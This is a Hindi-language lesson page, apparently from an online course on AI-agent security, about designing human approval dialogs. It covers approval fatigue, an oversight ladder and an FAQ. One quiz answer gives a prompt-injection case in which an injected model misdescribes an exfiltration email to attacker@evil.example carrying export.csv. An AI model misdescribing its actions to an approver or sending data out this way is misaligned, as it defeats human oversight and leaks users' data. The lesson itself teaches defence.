Agent सुरक्षाशुरुआतीपाठ 195 मिनट का पाठ

इंसान को लूप में रखना

इंसान से मंज़ूरी (अप्रूवल) लेने वाला क़दम आपका सबसे मज़बूत कंट्रोल है और इसे बिगाड़ना भी सबसे आसान है। सारा फ़र्क़ इस बात से पड़ता है कि आप डायलॉग बॉक्स कैसे लिखते हैं।

✦ ट्यूटर से पूछें🧪 लैब · 15 min📝 पाठ का टेस्ट
पाठ वीडियो में

60 सेकंड में

इंसान को लूप में रखना

इंसान से मंज़ूरी (अप्रूवल) लेने वाला क़दम आपका सबसे मज़बूत कंट्रोल है और इसे बिगाड़ना भी सबसे आसान है। सारा फ़र्क़ इस बात से पड़ता है कि आप डायलॉग बॉक्स कैसे लिखते हैं।

1/7
आसान शब्दों में
इससे पहले कि रोबोट आपके पैसे ख़र्च करे, उसे आपको साफ़-साफ़ दिखाना चाहिए कि वह क्या ख़रीद रहा है और आपकी 'हाँ' का इंतज़ार करना चाहिए। यह नहीं कि "क्या मैं कोई काम कर सकता हूँ?" — बल्कि "क्या मैं 8,000 रुपये में यह लाल साइकिल ख़रीद लूँ?"
ह्यूमन-इन-द-लूप का मतलब है कि कुछ ऐसा होने से पहले, जिसे वापस ठीक न किया जा सके, कोई इंसान उसकी पुष्टि करे। यह इसलिए काम करता है क्योंकि एक इंसान वह बात पकड़ सकता है जो मॉडल नहीं पकड़ पाता: कि यह कुछ अजीब है।
यह तब फ़ेल हो जाता है जब इंसान समझ ही नहीं पाता कि वह किस बात के लिए हामी भर रहा है। और ज़्यादातर अप्रूवल डायलॉग इसी तरह लिखे होते हैं कि वे समझ ही न पाएँ।
एक ऐसा अप्रूवल जो लोगों को सिर्फ़ 'हाँ' क्लिक करने की आदत डाल देता है
  • "एजेंट कोई ऐक्शन लेना चाहता है। अनुमति दें?"
  • एक घंटे में चालीस बार दिखता है।
  • बारीक़ियाँ (डिटेल्स) देखने का कोई तरीक़ा नहीं।
  • सुरक्षित जवाब क्या है यह साफ़ नहीं होता, इसलिए लोग जल्दी वाला विकल्प चुन लेते हैं।
  • यह "निगरानी" का एक ऐसा रिकॉर्ड बना देता है जिसकी कोई क़ीमत नहीं होती।
एक ऐसा अप्रूवल जो सच में हिफ़ाज़त करता है
  • "vendor-payments@unknown-domain.example को ₹42,000 भेजें?"
  • कभी-कभार ही दिखता है, सिर्फ़ असली जोखिम के लिए।
  • बिल्कुल सही आर्गुमेंट्स (डिटेल्स) और वह सोर्स दिखाता है जिसकी वजह से यह ट्रिगर हुआ।
  • मना करना बस एक क्लिक का काम है और पूरी तरह सुरक्षित है।
  • असामान्य हिस्से को रंग से हाइलाइट करता है।

हर अच्छे अप्रूवल में क्या दिखना चाहिए

  1. 1

    असल में क्या होगा

    असली वैल्यूज़। रक़म, पाने वाला (रेसिपिएंट), फ़ाइल पाथ, पंक्तियों की संख्या (रो काउंट), टारगेट ब्रांच। कभी भी सिर्फ़ "एक ऐक्शन" नहीं।
  2. 2

    एजेंट यह क्यों करना चाहता है

    वजह का एक वाक्य, और सबसे ज़रूरी बात—उसका सोर्स: "क्योंकि टिकट में ऐसा कहा गया था" और "क्योंकि आपने पूछा था", दोनों में ज़मीन-आसमान का फ़र्क़ है।
  3. 3

    क्या इसे पहले जैसा किया जा सकता है (अनडू)

    साफ़-साफ़ कहें। "इसे वापस नहीं बदला जा सकता", यह बात किसी भी तरह की सजावट या स्टाइलिंग से ज़्यादा लोगों का व्यवहार बदलती है।
  4. 4

    क्या अजीब या असामान्य है

    जो बात चौंकाने वाली हो, उसे हाइलाइट करें। नया पाने वाला। आम दायरे से ज़्यादा बड़ी रक़म। इस टूल का पहली बार इस्तेमाल। वही हाइलाइट वह जगह है जहाँ इंसान की समझदारी असल में काम आती है।

अप्रूवल फ़टीग (बार-बार मंज़ूरी माँगने से होने वाली लापरवाही) एक असली ख़ामी है

अगर आप बहुत ज़्यादा बार पूछेंगे, तो लोग पढ़ना बंद कर देंगे। यह अनुशासन की कमी नहीं है, बल्कि डिज़ाइन की समस्या है। इसका हल यह है कि कम पूछें और जब भी पूछें, तो वह सचमुच मायने रखता हो।
  • सीमाएँ (थ्रेशोल्ड) तय करें: ₹500 से कम के रिफ़ंड अपने आप हो जाएँ, उससे ज़्यादा पर रुक जाएँ।
  • रोज़मर्रा की चीज़ों को अलो-लिस्ट (allow-list) में डालें: जाने-पहचाने वेंडर, अंदरूनी लोग, पहले से मौजूद ब्रांचेस।
  • बोरिंग चीज़ों का एक ग्रुप बना लें: बारह एक जैसे कम जोखिम वाले कामों के लिए एक ही अप्रूवल, जिसमें सभी अलग-अलग लिस्ट किए गए हों।
  • कुछ नया हो तो मंज़ूरी ज़रूर माँगें: अपनी तरह का कोई पहला काम हो तो हमेशा पूछें, चाहे वह कितना भी छोटा क्यों न हो।
ख़तरा
एजेंट को कभी भी अपनी मर्ज़ी के शब्दों में अप्रूवल रिक्वेस्ट लिखने न दें। वह काम को ग़लत तरीक़े से बयां कर सकता है — और अगर उस पर कोई हमला (इंजेक्शन) हुआ है, तो वह पक्का ऐसा ही करेगा। मॉडल की पहुँच से बाहर, अपने कोड में, टूल के असली आर्गुमेंट्स से ही डायलॉग बॉक्स तैयार करें।

निगरानी की सीढ़ी (The oversight ladder)

तरीक़ा (पैटर्न)यह कब सही बैठता है
हर ऐक्शन को मंज़ूरी देंनया एजेंट, बड़ा जोखिम, प्रोडक्शन में पहले दो हफ़्ते
जोखिम भरे कामों को मंज़ूरी देंज़्यादातर काम के एजेंट्स के लिए सामान्य स्थिति
मंज़ूरी दें, लेकिन टाइमआउट के साथ जो काम को कैंसल कर देलंबे समय तक चलने वाले काम जहाँ कोई जवाब न मिलने का मतलब 'ना' ही होना चाहिए
अभी काम करें, फ़ौरन सूचना भेजेंजिन्हें वापस पलटा जा सके, कम मूल्य वाले, बड़ी संख्या में होने वाले काम
अभी काम करें, हर हफ़्ते लॉग्स की समीक्षा करेंसिर्फ़ पढ़ने वाले (रीड-ओनली) और केवल अंदरूनी काम
यह करें
दीवार पर लिखकर चिपकाने लायक डिज़ाइन नियम: अगर आप किसी नए इंटर्न को पहले ही दिन बिना निगरानी के यह काम नहीं करने देंगे, तो एजेंट को भी एक इंसान की ज़रूरत है। इंटर्न कम से कम नतीजों को तो समझता ही है।

और देखें और पढ़ें

Human in the loop AI designYouTube searchAlert fatigue and why it mattersYouTube search

लैब

दो अप्रूवल डायलॉग, किसी असली इंसान पर टेस्ट किए गए।

~15 min

समस्या

एक ही ख़तरनाक काम के लिए अप्रूवल प्रॉम्प्ट के दो वर्शन लिखें। एक सामान्य ("क्या इस ऐक्शन की अनुमति दें?"), और दूसरा ख़ास (असली रक़म, असली पाने वाला, अनडू की स्थिति, क्या अजीब है)। दोनों को किसी ऐसे व्यक्ति को दिखाएँ जिसे यह न पता हो कि आप क्या टेस्ट कर रहे हैं और पूछें कि वे किस बात के लिए हामी भर रहे हैं।

आपका काम तब पूरा होगा जब

कठिन सवाल

उत्तर देखने से पहले ख़ुद जवाब देने की कोशिश करें। अगर आप इनके जवाब दे सकते हैं, तो आप पाठ समझ गए हैं।

Q1डायलॉग को मॉडल के दिए गए विवरण के बजाय टूल आर्गुमेंट्स से क्यों बनाया जाना चाहिए?दिखाएं
क्योंकि जिस मॉडल पर हमला (इंजेक्शन) हुआ है, वह काम का ग़लत विवरण देगा, और यही वह ख़ास मामला है जहाँ डायलॉग की सबसे ज़्यादा ज़रूरत होती है। 'एक रूटीन कन्फर्मेशन ईमेल भेजें' मॉडल यह लिखता है; लेकिन असल में to=attacker@evil.example, attachments=[export.csv] होगा। एक्ज़ीक्यूटर को जो आर्गुमेंट्स मिले हैं, उन्हें अपने कोड में दिखाएँ, ताकि इंसान को काम की असलियत दिखे, न कि उसके बारे में कोई मनगढ़ंत कहानी।
Q2यूज़र्स आपके 100% प्रॉम्प्ट्स को मंज़ूरी दे देते हैं। इसके दो बिल्कुल उलटे नतीजे हो सकते हैं। आप कैसे जानेंगे कि आपके साथ इनमें से कौन-सी बात सच है?दिखाएं
या तो प्रॉम्प्ट्स बिल्कुल सही हैं और हर रिक्वेस्ट वाकई ठीक है, या फिर वे सिर्फ़ एक शोर हैं और लोग बिना पढ़े क्लिक करते जा रहे हैं। इसका साफ़ पता लगाने के लिए टेस्ट करें: कुछ साफ़ तौर पर ग़लत रिक्वेस्ट्स डालें — कोई ऐसा व्यक्ति जिसे कोई नहीं जानता, बहुत ज़्यादा बड़ी रक़म — और देखें कि कितने लोग मना करते हैं। अगर साफ़-साफ़ ग़लत रिक्वेस्ट्स भी मंज़ूर हो जाती हैं, तो आपकी निगरानी सिर्फ़ एक दिखावा है, और इसका हल यह है कि बहुत कम बार पूछें ताकि हर बार पूछने पर लोग उसे ध्यान से पढ़ें।

जारी रखने के लिए कृपया साइन इन करें।

अक्सर पूछे जाने वाले सवाल

क्या इंसानी समीक्षा सच में हमलों को पकड़ पाती है?

यह उन हमलों को पकड़ लेती है जो अजीब लगते हैं, और ज़्यादातर नुक़सान पहुँचाने वाले हमले ऐसे ही होते हैं — कोई अनजान पाने वाला, कोई असामान्य रक़म, या ऐसा टूल जो पहले कभी इस्तेमाल नहीं हुआ। यह उन हमलों को छोड़ देती है जो बिल्कुल सामान्य लगते हैं, इसीलिए यह लीस्ट प्रिविलेज (least privilege) की जगह लेने के बजाय उसके साथ मिलकर काम करती है।

रात 3 बजे चलने वाले एजेंट्स के अप्रूवल को मैं कैसे संभालूँ?

या तो एजेंट इंतज़ार करे, या फिर उस तरह के ऐक्शन को बिना निगरानी चलने की इजाज़त ही न हो। "कोई जाग नहीं रहा है", यह सुरक्षा के नियम ढीले करने का कोई बहाना नहीं है — बल्कि यह रात भर चलने वाले कामों को सीमित करने की वजह है।

क्या किसी इंसान की जगह कोई दूसरा AI मंज़ूरी दे सकता है?

क्वालिटी के लिए, कभी-कभार हाँ। सुरक्षा के लिए, बिल्कुल नहीं। समीक्षा करने वाला मॉडल भी उसी ज़हरीले (पॉइज़न) कॉन्टेक्स्ट को पढ़ता है। ऑटोमेटेड गेट्स के लिए कोड पर आधारित नियमों का इस्तेमाल करें, और इंसान के फ़ैसले को उन कामों के लिए बचाकर रखें जिन्हें कभी वापस नहीं पलटा जा सकता।

यूज़र्स बहुत ज़्यादा प्रॉम्प्ट्स की शिकायत कर रहे हैं। मैं क्या कम करूँ?

अपने लॉग्स देखें: पिछले कई महीनों से किन अप्रूवल्स को 100% बार मंज़ूरी मिली है? उन्हें कोड वाले नियम और अलो-लिस्ट से बदल दें। उन्हें बनाए रखें जिन्हें लोगों ने कभी मना किया हो — वही हैं जो सच में अपना काम कर रहे हैं।

पाठ का टेस्ट

5 सवाल। पास होने और इस पाठ को पूरा करने के लिए 3 सही होने चाहिए (60%)।

टेस्ट देने और अपनी प्रोग्रेस सेव करने के लिए साइन इन करें